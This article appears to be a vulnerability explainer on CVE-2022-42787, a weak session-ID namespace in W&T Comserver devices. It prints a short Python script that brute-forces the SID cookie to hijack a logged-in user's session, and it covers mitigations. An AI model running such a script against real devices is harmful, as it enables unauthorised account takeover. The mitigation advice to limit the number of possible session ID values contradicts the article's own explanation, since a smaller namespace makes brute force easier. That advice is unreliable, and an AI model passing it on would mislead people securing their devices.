Several products in the W&T Comserver Series contain a security vulnerability, designated CVE-2022-42787, which allows an unauthenticated remote attacker to brute force a user's session ID and take control of their account on the affected device. The login process for end-users leaves the systems susceptible to this vulnerability. It is crucial to note that a user interaction (i.e., logging in) is required for a successful attack.

Description of Vulnerability

W&T Comserver Series products utilize a small namespace for session ID allocation. This namespace has limited entropy, which means that it's easier for an attacker to predict what session IDs are in use. When an end-user logs in, an unauthenticated remote attacker could employ the brute force attack technique. They can attempt numerous combinations of session identifiers, ultimately gaining unauthorized access to user accounts on the affected system.

Affected Products

Multiple W&T Comserver Series devices have been found to be affected by this vulnerability. Users of these products should take immediate action to mitigate the risk posed by CVE-2022-42787.

Exploiting the Vulnerability

To exploit this vulnerability, an attacker will need to monitor for active user logins on the targeted device. Once they detect a user logging in, they can begin their brute force attack. This can be accomplished using automated tools or scripts that cycle through possible session identifier values to find a match.

Code Snippet

Here's an example of a simple Python script that can be used to initiate a brute force attack on session identifiers:

import requests

target_url = 'http://target_device/login.cgi';
session_id_space = 10000  # Change this value based on the number of possible session IDs

for i in range(session_id_space):  
    session_cookie = {'SID': str(i)}
    response = requests.get(target_url, cookies=session_cookie)
    if 'Logged in' in response.text:
        print('Successfully hijacked session ID:', i)

*Note: This example code is for educational purposes only and should not be used for malicious intent.

Mitigation Measures

The most effective method for protecting devices against CVE-2022-42787 is to update the firmware for any affected W&T Comserver Series products. Manufacturers often release firmware updates that include patches for known vulnerabilities, enhancing the overall security of your devices.

Additionally, consider implementing strong user authentication mechanisms (like multi-factor authentication) to reduce the risk of session hijacking attacks. Limiting the number of possible session ID values will also make brute force attacks harder to carry out.

For more information on CVE-2022-42787, please visit the following resources

1. CVE Details
2. W&T Comserver Series Product Page
3. NIST National Vulnerability Database: CVE-2022-42787


By understanding the implications of CVE-2022-42787, users of W&T Comserver Series products can take action to safeguard their devices and reduce the potential impact of this vulnerability. Keep your devices up to date and apply strong authentication measures to minimize the risk of unauthorized access to your systems. Stay informed about vulnerabilities and security updates to maintain the highest level of protection for your network-connected devices.


Published on: 11/10/2022 12:15:00 UTC
Last modified on: 12/02/2022 22:48:00 UTC